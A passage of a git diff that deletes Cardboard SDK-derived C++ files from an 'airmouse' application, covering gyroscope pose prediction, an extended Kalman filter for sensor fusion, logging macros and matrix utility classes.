"pose_state.h" -#include "../util/rotation.h" - -namespace cardboard { -namespace pose_prediction { - -// Returns a rotation matrix based on the integration of the gyroscope_value -// over the timestep_s in seconds. -// TODO(pfg): Document the space better here. -// -// @param gyroscope_value gyroscope sensor values. -// @param timestep_s integration period in seconds. -// @return Integration of the gyroscope value the rotation is from Start to -// Sensor Space. -Rotation GetRotationFromGyroscope(const Vector3& gyroscope_value, double timestep_s); - -// Gets a predicted pose for a given time in the future (e.g. rendering time) -// based on a linear prediction model. This uses the system current state -// (position, velocity, etc) from the past to extrapolate a position in the -// future. -// -// @param requested_pose_timestamp time at which you want the pose. -// @param current_state current state that stores the pose and linear model at a -// given time prior to requested_pose_timestamp_ns. -// @return pose from Start to Sensor Space. -Rotation PredictPose(int64_t requested_pose_timestamp, const PoseState& current_state); - -// Equivalent to PredictPose, but for use with poses relative to Start Space -// rather than sensor space. -Rotation PredictPoseInv(int64_t requested_pose_timestamp, const PoseState& current_state); - -} // namespace pose_prediction -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_POSE_PREDICTION_H_ diff --git a/applications/external/airmouse/tracking/sensors/pose_state.h b/applications/external/airmouse/tracking/sensors/pose_state.h deleted file mode 100644 index f7801c9f3..000000000 --- a/applications/external/airmouse/tracking/sensors/pose_state.h +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_POSE_STATE_H_ -#define CARDBOARD_SDK_SENSORS_POSE_STATE_H_ - -#include "../util/rotation.h" -#include "../util/vector.h" - -namespace cardboard { - -enum { - kPoseStateFlagInvalid = 1U << 0, - kPoseStateFlagInitializing = 1U << 1, - kPoseStateFlagHas6DoF = 1U << 2, -}; - -// Stores a head pose pose plus derivatives. This can be used for prediction. -struct PoseState { - // System wall time. - int64_t timestamp; - - // Rotation from Sensor Space to Start Space. - Rotation sensor_from_start_rotation; - - // First derivative of the rotation. - Vector3 sensor_from_start_rotation_velocity; - - // Current gyroscope bias in rad/s. - Vector3 bias; - - // The position of the headset. - Vector3 position = Vector3(0, 0, 0); - - // In the same coordinate frame as the position. - Vector3 velocity = Vector3(0, 0, 0); - - // Flags indicating the status of the pose. - uint64_t flags = 0U; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_POSE_STATE_H_ diff --git a/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc deleted file mode 100644 index dabd788ef..000000000 --- a/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.cc +++ /dev/null @@ -1,336 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "sensor_fusion_ekf.h" - -#include -#include - -#include "accelerometer_data.h" -#include "gyroscope_data.h" -#include "pose_prediction.h" -#include "../util/matrixutils.h" - -namespace cardboard { - -namespace { - - const double kFiniteDifferencingEpsilon = 1.0e-7; - const double kEpsilon = 1.0e-15; - // Default gyroscope frequency. This corresponds to 100 Hz. - const double kDefaultGyroscopeTimestep_s = 0.01f; - // Maximum time between gyroscope before we start limiting the integration. - const double kMaximumGyroscopeSampleDelay_s = 0.04f; - // Compute a first-order exponential moving average of changes in accel norm per - // frame. - const double kSmoothingFactor = 0.5; - // Minimum and maximum values used for accelerometer noise covariance matrix. - // The smaller the sigma value, the more weight is given to the accelerometer - // signal. - const double kMinAccelNoiseSigma = 0.75; - const double kMaxAccelNoiseSigma = 7.0; - // Initial value for the diagonal elements of the different covariance matrices. - const double kInitialStateCovarianceValue = 25.0; - const double kInitialProcessCovarianceValue = 1.0; - // Maximum accelerometer norm change allowed before capping it covariance to a - // large value. - const double kMaxAccelNormChange = 0.15; - // Timestep IIR filtering coefficient. - const double kTimestepFilterCoeff = 0.95; - // Minimum number of sample for timestep filtering. - const int kTimestepFilterMinSamples = 10; - - // Z direction in start space. - const Vector3 kCanonicalZDirection(0.0, 0.0, 1.0); - - // Computes an axis-angle rotation from the input vector. - // angle = norm(a) - // axis = a.normalized() - // If norm(a) == 0, it returns an identity rotation. - static inline void RotationFromVector(const Vector3& a, Rotation& r) - { - const double norm_a = Length(a); - if (norm_a < kEpsilon) { - r = Rotation::Identity(); - return; - } - r = Rotation::FromAxisAndAngle(a / norm_a, norm_a); - } - -} // namespace - -SensorFusionEkf::SensorFusionEkf() - : execute_reset_with_next_accelerometer_sample_(false) - , bias_estimation_enabled_(true) - , gyroscope_bias_estimate_({ 0, 0, 0 }) -{ - ResetState(); -} - -void SensorFusionEkf::Reset() { execute_reset_with_next_accelerometer_sample_ = true; } - -void SensorFusionEkf::ResetState() -{ - current_state_.sensor_from_start_rotation = Rotation::Identity(); - current_state_.sensor_from_start_rotation_velocity = Vector3::Zero(); - - current_gyroscope_sensor_timestamp_ns_ = 0; - current_accelerometer_sensor_timestamp_ns_ = 0; - - state_covariance_ = Matrix3x3::Identity() * kInitialStateCovarianceValue; - process_covariance_ = Matrix3x3::Identity() * kInitialProcessCovarianceValue; - accelerometer_measurement_covariance_ - = Matrix3x3::Identity() * kMinAccelNoiseSigma * kMinAccelNoiseSigma; - innovation_covariance_ = Matrix3x3::Identity(); - - accelerometer_measurement_jacobian_ = Matrix3x3::Zero(); - kalman_gain_ = Matrix3x3::Zero(); - innovation_ = Vector3::Zero(); - accelerometer_measurement_ = Vector3::Zero(); - prediction_ = Vector3::Zero(); - control_input_ = Vector3::Zero(); - state_update_ = Vector3::Zero(); - - moving_average_accelerometer_norm_change_ = 0.0; - - is_timestep_filter_initialized_ = false; - is_gyroscope_filter_valid_ = false; - is_aligned_with_gravity_ = false; - - // Reset biases. - gyroscope_bias_estimator_.Reset(); - gyroscope_bias_estimate_ = { 0, 0, 0 }; -} - -// Here I am doing something wrong relative to time stamps. The state timestamps -// always correspond to the gyrostamps because it would require additional -// extrapolation if I wanted to do otherwise. -PoseState SensorFusionEkf::GetLatestPoseState() const { return current_state_; } - -void SensorFusionEkf::ProcessGyroscopeSample(const GyroscopeData& sample) -{ - // Don't accept gyroscope sample when waiting for a reset. - if (execute_reset_with_next_accelerometer_sample_) { - return; - } - - // Discard outdated samples. - if (current_gyroscope_sensor_timestamp_ns_ >= sample.sensor_timestamp_ns) { - current_gyroscope_sensor_timestamp_ns_ = sample.sensor_timestamp_ns; - return; - } - - // Checks that we received at least one gyroscope sample in the past. - if (current_gyroscope_sensor_timestamp_ns_ != 0) { - double current_timestep_s = std::chrono::duration_cast>( - std::chrono::nanoseconds( - sample.sensor_timestamp_ns - current_gyroscope_sensor_timestamp_ns_)) - .count(); - if (current_timestep_s > kMaximumGyroscopeSampleDelay_s) { - if (is_gyroscope_filter_valid_) { - // Replaces the delta timestamp by the filtered estimates of the delta time. - current_timestep_s = filtered_gyroscope_timestep_s_; - } else { - current_timestep_s = kDefaultGyroscopeTimestep_s; - } - } else { - FilterGyroscopeTimestep(current_timestep_s); - } - - if (bias_estimation_enabled_) { - gyroscope_bias_estimator_.ProcessGyroscope(sample.data, sample.sensor_timestamp_ns); - - if (gyroscope_bias_estimator_.IsCurrentEstimateValid()) { - // As soon as the device is considered to be static, the bias estimator - // should have a precise estimate of the gyroscope bias. - gyroscope_bias_estimate_ = gyroscope_bias_estimator_.GetGyroscopeBias(); - } - } - - // Only integrate after receiving an accelerometer sample. - if (is_aligned_with_gravity_) { - const Rotation rotation_from_gyroscope = pose_prediction::GetRotationFromGyroscope( - { sample.data[0] - gyroscope_bias_estimate_[0], - sample.data[1] - gyroscope_bias_estimate_[1], - sample.data[2] - gyroscope_bias_estimate_[2] }, - current_timestep_s); - current_state_.sensor_from_start_rotation - = rotation_from_gyroscope * current_state_.sensor_from_start_rotation; - UpdateStateCovariance(RotationMatrixNH(rotation_from_gyroscope)); - state_covariance_ = state_covariance_ - + ((current_timestep_s * current_timestep_s) * process_covariance_); - } - } - - // Saves gyroscope event for future prediction. - current_state_.timestamp = sample.system_timestamp; - current_gyroscope_sensor_timestamp_ns_ = sample.sensor_timestamp_ns; - current_state_.sensor_from_start_rotation_velocity.Set( - sample.data[0] - gyroscope_bias_estimate_[0], sample.data[1] - gyroscope_bias_estimate_[1], - sample.data[2] - gyroscope_bias_estimate_[2]); -} - -Vector3 SensorFusionEkf::ComputeInnovation(const Rotation& pose) -{ - const Vector3 predicted_down_direction = pose * kCanonicalZDirection; - - const Rotation rotation - = Rotation::RotateInto(predicted_down_direction, accelerometer_measurement_); - Vector3 axis; - double angle; - rotation.GetAxisAndAngle(&axis, &angle); - return axis * angle; -} - -void SensorFusionEkf::ComputeMeasurementJacobian() -{ - for (int dof = 0; dof < 3; dof++) { - Vector3 delta = Vector3::Zero(); - delta[dof] = kFiniteDifferencingEpsilon; - - Rotation epsilon_rotation; - RotationFromVector(delta, epsilon_rotation); - const Vector3 delta_rotation - = ComputeInnovation(epsilon_rotation * current_state_.sensor_from_start_rotation); - - const Vector3 col = (innovation_ - delta_rotation) / kFiniteDifferencingEpsilon; - accelerometer_measurement_jacobian_(0, dof) = col[0]; - accelerometer_measurement_jacobian_(1, dof) = col[1]; - accelerometer_measurement_jacobian_(2, dof) = col[2]; - } -} - -void SensorFusionEkf::ProcessAccelerometerSample(const AccelerometerData& sample) -{ - // Discard outdated samples. - if (current_accelerometer_sensor_timestamp_ns_ >= sample.sensor_timestamp_ns) { - current_accelerometer_sensor_timestamp_ns_ = sample.sensor_timestamp_ns; - return; - } - - // Call reset state if required. - if (execute_reset_with_next_accelerometer_sample_.exchange(false)) { - ResetState(); - } - - accelerometer_measurement_.Set(sample.data[0], sample.data[1], sample.data[2]); - current_accelerometer_sensor_timestamp_ns_ = sample.sensor_timestamp_ns; - - if (bias_estimation_enabled_) { - gyroscope_bias_estimator_.ProcessAccelerometer(sample.data, sample.sensor_timestamp_ns); - } - - if (!is_aligned_with_gravity_) { - // This is the first accelerometer measurement so it initializes the - // orientation estimate. - current_state_.sensor_from_start_rotation - = Rotation::RotateInto(kCanonicalZDirection, accelerometer_measurement_); - is_aligned_with_gravity_ = true; - - previous_accelerometer_norm_ = Length(accelerometer_measurement_); - return; - } - - UpdateMeasurementCovariance(); - - innovation_ = ComputeInnovation(current_state_.sensor_from_start_rotation); - ComputeMeasurementJacobian(); - - // S = H * P * H' + R - innovation_covariance_ = accelerometer_measurement_jacobian_ * state_covariance_ - * Transpose(accelerometer_measurement_jacobian_) - + accelerometer_measurement_covariance_; - - // K = P * H' * S^-1 - kalman_gain_ = state_covariance_ * Transpose(accelerometer_measurement_jacobian_) - * Inverse(innovation_covariance_); - - // x_update = K*nu - state_update_ = kalman_gain_ * innovation_; - - // P = (I - K * H) * P; - state_covariance_ = (Matrix3x3::Identity() - kalman_gain_ * accelerometer_measurement_jacobian_) - * state_covariance_; - - // Updates pose and associate covariance matrix. - Rotation rotation_from_state_update; - RotationFromVector(state_update_, rotation_from_state_update); - - current_state_.sensor_from_start_rotation - = rotation_from_state_update * current_state_.sensor_from_start_rotation; - UpdateStateCovariance(RotationMatrixNH(rotation_from_state_update)); -} - -void SensorFusionEkf::UpdateStateCovariance(const Matrix3x3& motion_update) -{ - state_covariance_ = motion_update * state_covariance_ * Transpose(motion_update); -} - -void SensorFusionEkf::FilterGyroscopeTimestep(double gyroscope_timestep_s) -{ - if (!is_timestep_filter_initialized_) { - // Initializes the filter. - filtered_gyroscope_timestep_s_ = gyroscope_timestep_s; - num_gyroscope_timestep_samples_ = 1; - is_timestep_filter_initialized_ = true; - return; - } - - // Computes the IIR filter response. - filtered_gyroscope_timestep_s_ = kTimestepFilterCoeff * filtered_gyroscope_timestep_s_ - + (1 - kTimestepFilterCoeff) * gyroscope_timestep_s; - ++num_gyroscope_timestep_samples_; - - if (num_gyroscope_timestep_samples_ > kTimestepFilterMinSamples) { - is_gyroscope_filter_valid_ = true; - } -} - -void SensorFusionEkf::UpdateMeasurementCovariance() -{ - const double current_accelerometer_norm = Length(accelerometer_measurement_); - // Norm change between current and previous accel readings. - const double current_accelerometer_norm_change - = std::abs(current_accelerometer_norm - previous_accelerometer_norm_); - previous_accelerometer_norm_ = current_accelerometer_norm; - - moving_average_accelerometer_norm_change_ = kSmoothingFactor * current_accelerometer_norm_change - + (1 - kSmoothingFactor) * moving_average_accelerometer_norm_change_; - - // If we hit the accel norm change threshold, we use the maximum noise sigma - // for the accel covariance. For anything below that, we use a linear - // combination between min and max sigma values. - const double norm_change_ratio - = moving_average_accelerometer_norm_change_ / kMaxAccelNormChange; - const double accelerometer_noise_sigma = std::min(kMaxAccelNoiseSigma, - kMinAccelNoiseSigma + norm_change_ratio * (kMaxAccelNoiseSigma - kMinAccelNoiseSigma)); - - // Updates the accel covariance matrix with the new sigma value. - accelerometer_measurement_covariance_ - = Matrix3x3::Identity() * accelerometer_noise_sigma * accelerometer_noise_sigma; -} - -bool SensorFusionEkf::IsBiasEstimationEnabled() const { return bias_estimation_enabled_; } - -void SensorFusionEkf::SetBiasEstimationEnabled(bool enable) -{ - if (bias_estimation_enabled_ != enable) { - bias_estimation_enabled_ = enable; - gyroscope_bias_estimate_ = { 0, 0, 0 }; - gyroscope_bias_estimator_.Reset(); - } -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h b/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h deleted file mode 100644 index a66fe33f4..000000000 --- a/applications/external/airmouse/tracking/sensors/sensor_fusion_ekf.h +++ /dev/null @@ -1,188 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_ -#define CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_ - -#include -#include -#include - -#include "accelerometer_data.h" -#include "gyroscope_bias_estimator.h" -#include "gyroscope_data.h" -#include "pose_state.h" -#include "../util/matrix_3x3.h" -#include "../util/rotation.h" -#include "../util/vector.h" - -namespace cardboard { - -// Sensor fusion class that implements an Extended Kalman Filter (EKF) to -// estimate a 3D rotation from a gyroscope and an accelerometer. -// This system only has one state, the pose. It does not estimate any velocity -// or acceleration. -// -// To learn more about Kalman filtering one can read this article which is a -// good introduction: https://en.wikipedia.org/wiki/Kalman_filter -class SensorFusionEkf { -public: - SensorFusionEkf(); - - // Resets the state of the sensor fusion. It sets the velocity for - // prediction to zero. The reset will happen with the next - // accelerometer sample. Gyroscope sample will be discarded until a new - // accelerometer sample arrives. - void Reset(); - - // Gets the PoseState representing the latest pose and derivatives at a - // particular timestamp as estimated by SensorFusion. - PoseState GetLatestPoseState() const; - - // Processes one gyroscope sample event. This updates the pose of the system - // and the prediction model. The gyroscope data is assumed to be in axis angle - // form. Angle = ||v|| and Axis = v / ||v||, with v = [v_x, v_y, v_z]^T. - // - // @param sample gyroscope sample data. - void ProcessGyroscopeSample(const GyroscopeData& sample); - - // Processes one accelerometer sample event. This updates the pose of the - // system. If the Accelerometer norm changes too much between sample it is not - // trusted as much. - // - // @param sample accelerometer sample data. - void ProcessAccelerometerSample(const AccelerometerData& sample); - - // Enables or disables the drift correction by estimating the gyroscope bias. - // - // @param enable Enable drift correction. - void SetBiasEstimationEnabled(bool enable); - - // Returns a boolean that indicates if bias estimation is enabled or disabled. - // - // @return true if bias estimation is enabled, false otherwise. - bool IsBiasEstimationEnabled() const; - - // Returns the current gyroscope bias estimate from GyroscopeBiasEstimator. - Vector3 GetGyroscopeBias() const { - return { - gyroscope_bias_estimate_[0], gyroscope_bias_estimate_[1], gyroscope_bias_estimate_[2]}; - } - - // Returns true after receiving the first accelerometer measurement. - bool IsFullyInitialized() const { - return is_aligned_with_gravity_; - } - -private: - // Estimates the average timestep between gyroscope event. - void FilterGyroscopeTimestep(double gyroscope_timestep); - - // Updates the state covariance with an incremental motion. It changes the - // space of the quadric. - void UpdateStateCovariance(const Matrix3x3& motion_update); - - // Computes the innovation vector of the Kalman based on the input pose. - // It uses the latest measurement vector (i.e. accelerometer data), which must - // be set prior to calling this function. - Vector3 ComputeInnovation(const Rotation& pose); - - // This computes the measurement_jacobian_ via numerical differentiation based - // on the current value of sensor_from_start_rotation_. - void ComputeMeasurementJacobian(); - - // Updates the accelerometer covariance matrix. - // - // This looks at the norm of recent accelerometer readings. If it has changed - // significantly, it means the phone receives additional acceleration than - // just gravity, and so the down vector information gravity signal is noisier. - void UpdateMeasurementCovariance(); - - // Reset all internal states. This is not thread safe. Lock should be acquired - // outside of it. This function is called in ProcessAccelerometerSample. - void ResetState(); - - // Current transformation from Sensor Space to Start Space. - // x_sensor = sensor_from_start_rotation_ * x_start; - PoseState current_state_; - - // Filtering of the gyroscope timestep started? - bool is_timestep_filter_initialized_; - // Filtered gyroscope timestep valid? - bool is_gyroscope_filter_valid_; - // Sensor fusion currently aligned with gravity? After initialization - // it will requires a couple of accelerometer data for the system to get - // aligned. - std::atomic is_aligned_with_gravity_; - - // Covariance of Kalman filter state (P in common formulation). - Matrix3x3 state_covariance_; - // Covariance of the process noise (Q in common formulation). - Matrix3x3 process_covariance_; - // Covariance of the accelerometer measurement (R in common formulation). - Matrix3x3 accelerometer_measurement_covariance_; - // Covariance of innovation (S in common formulation). - Matrix3x3 innovation_covariance_; - // Jacobian of the measurements (H in common formulation). - Matrix3x3 accelerometer_measurement_jacobian_; - // Gain of the Kalman filter (K in common formulation). - Matrix3x3 kalman_gain_; - // Parameter update a.k.a. innovation vector. (\nu in common formulation). - Vector3 innovation_; - // Measurement vector (z in common formulation). - Vector3 accelerometer_measurement_; - // Current prediction vector (g in common formulation). - Vector3 prediction_; - // Control input, currently this is only the gyroscope data (\mu in common - // formulation). - Vector3 control_input_; - // Update of the state vector. (x in common formulation). - Vector3 state_update_; - - // Sensor time of the last gyroscope processed event. - uint64_t current_gyroscope_sensor_timestamp_ns_; - // Sensor time of the last accelerometer processed event. - uint64_t current_accelerometer_sensor_timestamp_ns_; - - // Estimates of the timestep between gyroscope event in seconds. - double filtered_gyroscope_timestep_s_; - // Number of timestep samples processed so far by the filter. - uint32_t num_gyroscope_timestep_samples_; - // Norm of the accelerometer for the previous measurement. - double previous_accelerometer_norm_; - // Moving average of the accelerometer norm changes. It is computed for every - // sensor datum. - double moving_average_accelerometer_norm_change_; - - // Flag indicating if a state reset should be executed with the next - // accelerometer sample. - std::atomic execute_reset_with_next_accelerometer_sample_; - - // Flag indicating if bias estimation is enabled (enabled by default). - std::atomic bias_estimation_enabled_; - - // Bias estimator and static device detector. - GyroscopeBiasEstimator gyroscope_bias_estimator_; - - // Current bias estimate_; - Vector3 gyroscope_bias_estimate_; - - SensorFusionEkf(const SensorFusionEkf&) = delete; - SensorFusionEkf& operator=(const SensorFusionEkf&) = delete; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_SENSORS_SENSOR_FUSION_EKF_H_ diff --git a/applications/external/airmouse/tracking/util/logging.h b/applications/external/airmouse/tracking/util/logging.h deleted file mode 100644 index dee224b1c..000000000 --- a/applications/external/airmouse/tracking/util/logging.h +++ /dev/null @@ -1,38 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_LOGGING_H_ -#define CARDBOARD_SDK_UTIL_LOGGING_H_ - -#include -#include - -#if defined(__ANDROID__) - -#include - -// Uncomment these to enable debug logging from native code - -#define CARDBOARD_LOGI(...) // __android_log_print(ANDROID_LOG_INFO, "CardboardSDK", __VA_ARGS__) -#define CARDBOARD_LOGE(...) // __android_log_print(ANDROID_LOG_ERROR, "CardboardSDK", __VA_ARGS__) - -#else - -#define CARDBOARD_LOGI(...) // FURI_LOG_I("CardboardSDK", __VA_ARGS__) -#define CARDBOARD_LOGE(...) // FURI_LOG_E("CardboardSDK", __VA_ARGS__) - -#endif - -#endif // CARDBOARD_SDK_UTIL_LOGGING_H_ diff --git a/applications/external/airmouse/tracking/util/matrix_3x3.cc b/applications/external/airmouse/tracking/util/matrix_3x3.cc deleted file mode 100644 index 9ddd847b0..000000000 --- a/applications/external/airmouse/tracking/util/matrix_3x3.cc +++ /dev/null @@ -1,121 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "matrix_3x3.h" - -namespace cardboard { - -Matrix3x3::Matrix3x3(double m00, double m01, double m02, double m10, double m11, double m12, - double m20, double m21, double m22) - : elem_ { { { m00, m01, m02 }, { m10, m11, m12 }, { m20, m21, m22 } } } -{ -} - -Matrix3x3::Matrix3x3() -{ - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - elem_[row][col] = 0; - } -} - -Matrix3x3 Matrix3x3::Zero() -{ - Matrix3x3 result; - return result; -} - -Matrix3x3 Matrix3x3::Identity() -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - result.elem_[row][row] = 1; - } - return result; -} - -void Matrix3x3::MultiplyScalar(double s) -{ - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - elem_[row][col] *= s; - } -} - -Matrix3x3 Matrix3x3::Negation() const -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result.elem_[row][col] = -elem_[row][col]; - } - return result; -} - -Matrix3x3 Matrix3x3::Scale(const Matrix3x3& m, double s) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result.elem_[row][col] = m.elem_[row][col] * s; - } - return result; -} - -Matrix3x3 Matrix3x3::Addition(const Matrix3x3& lhs, const Matrix3x3& rhs) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result.elem_[row][col] = lhs.elem_[row][col] + rhs.elem_[row][col]; - } - return result; -} - -Matrix3x3 Matrix3x3::Subtraction(const Matrix3x3& lhs, const Matrix3x3& rhs) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) - result.elem_[row][col] = lhs.elem_[row][col] - rhs.elem_[row][col]; - } - return result; -} - -Matrix3x3 Matrix3x3::Product(const Matrix3x3& m0, const Matrix3x3& m1) -{ - Matrix3x3 result; - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) { - result.elem_[row][col] = 0; - for (int i = 0; i < 3; ++i) - result.elem_[row][col] += m0.elem_[row][i] * m1.elem_[i][col]; - } - } - return result; -} - -bool Matrix3x3::AreEqual(const Matrix3x3& m0, const Matrix3x3& m1) -{ - for (int row = 0; row < 3; ++row) { - for (int col = 0; col < 3; ++col) { - if (m0.elem_[row][col] != m1.elem_[row][col]) - return false; - } - } - return true; -} - -} // namespace cardboard diff --git a/applications/external/airmouse/tracking/util/matrix_3x3.h b/applications/external/airmouse/tracking/util/matrix_3x3.h deleted file mode 100644 index 81e4f2158..000000000 --- a/applications/external/airmouse/tracking/util/matrix_3x3.h +++ /dev/null @@ -1,138 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#ifndef CARDBOARD_SDK_UTIL_MATRIX_3X3_H_ -#define CARDBOARD_SDK_UTIL_MATRIX_3X3_H_ - -#include -#include // For memcpy(). -#include // NOLINT -#include // NOLINT - -namespace cardboard { - -// The Matrix3x3 class defines a square 3-dimensional matrix. Elements are -// stored in row-major order. -// TODO(b/135461889): Make this class consistent with Matrix4x4. -class Matrix3x3 { -public: - // The default constructor zero-initializes all elements. - Matrix3x3(); - - // Dimension-specific constructors that are passed individual element values. - Matrix3x3( - double m00, - double m01, - double m02, - double m10, - double m11, - double m12, - double m20, - double m21, - double m22); - - // Constructor that reads elements from a linear array of the correct size. - explicit Matrix3x3(const double array[3 * 3]); - - // Returns a Matrix3x3 containing all zeroes. - static Matrix3x3 Zero(); - - // Returns an identity Matrix3x3. - static Matrix3x3 Identity(); - - // Mutable element accessors. - double& operator()(int row, int col) { - return elem_[row][col]; - } - std::array& operator[](int row) { - return elem_[row]; - } - - // Read-only element accessors. - const double& operator()(int row, int col) const { - return elem_[row][col]; - } - const std::array& operator[](int row) const { - return elem_[row]; - } - - // Return a pointer to the data for interfacing with libraries. - double* Data() { - return &elem_[0][0]; - } - const double* Data() const { - return &elem_[0][0]; - } - - // Self-modifying multiplication operators. - void operator*=(double s) { - MultiplyScalar(s); - } - void operator*=(const Matrix3x3& m) { - *this = Product(*this, m); - } - - // Unary operators. - Matrix3x3 operator-() const { - return Negation(); - } - - // Binary scale operators. - friend Matrix3x3 operator*(const Matrix3x3& m, double s) { - return Scale(m, s); - } - friend Matrix3x3 operator*(double s, const Matrix3x3& m) { - return Scale(m, s); - } - - // Binary matrix addition. - friend Matrix3x3 operator+(const Matrix3x3& lhs, const Matrix3x3& rhs) { - return Addition(lhs, rhs); - } - - // Binary matrix subtraction. - friend Matrix3x3 operator-(const Matrix3x3& lhs, const Matrix3x3& rhs) { - return Subtraction(lhs, rhs); - } - - // Binary multiplication operator. - friend Matrix3x3 operator*(const Matrix3x3& m0, const Matrix3x3& m1) { - return Product(m0, m1); - } - - // Exact equality and inequality comparisons. - friend bool operator==(const Matrix3x3& m0, const Matrix3x3& m1) { - return AreEqual(m0, m1); - } - friend bool operator!=(const Matrix3x3& m0, const Matrix3x3& m1) { - return !AreEqual(m0, m1); - } - -private: - // These private functions implement most of the operators. - void MultiplyScalar(double s); - Matrix3x3 Negation() const; - static Matrix3x3 Addition(const Matrix3x3& lhs, const Matrix3x3& rhs); - static Matrix3x3 Subtraction(const Matrix3x3& lhs, const Matrix3x3& rhs); - static Matrix3x3 Scale(const Matrix3x3& m, double s); - static Matrix3x3 Product(const Matrix3x3& m0, const Matrix3x3& m1); - static bool AreEqual(const Matrix3x3& m0, const Matrix3x3& m1); - - std::array, 3> elem_; -}; - -} // namespace cardboard - -#endif // CARDBOARD_SDK_UTIL_MATRIX_3X3_H_ diff --git a/applications/external/airmouse/tracking/util/matrix_4x4.cc b/applications/external/airmouse/tracking/util/matrix_4x4.cc deleted file mode 100644 index 8db3cbc5b..000000000 --- a/applications/external/airmouse/tracking/util/matrix_4x4.cc +++ /dev/null @@ -1,87 +0,0 @@ -/* - * Copyright 2019 Google Inc. All Rights Reserved. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ -#include "matrix_4x4.h" - -#include -#include -#include - -namespace cardboard { - -Matrix4x4 Matrix4x4::Identity() -{ - Matrix4x4 ret; - for (int j = 0; j < 4; ++j) { - for (int i = 0; i < 4; ++i) { - ret.m[j][i] = (i == j) ? 1 : 0; - } - } - - return ret; -} - -Matrix4x4 Matrix4x4::Zeros() -{ - Matrix4x4 ret; - for (int j = 0; j < 4; ++j) { - for (int i = 0; i < 4; ++i) { - ret.m[j][i] = 0; - } - } - - return ret; -} - -Matrix4x4 Matrix4x4::Translation(float x, float y, float z) -{ - Matrix4x4 ret = Matrix4x4::Identity(); - ret.m[3][0] = x; - ret.m[3][1] = y; - ret.m[3][2] = z; - - return ret; -} - -Matrix4x4 Matrix4x4::Perspective(const std::array& fov, float zNear, float zFar) -{ - Matrix4x4 ret = Matrix4x4::Zeros(); - - const float xLeft = -std::tan(fov[0] * M_PI / 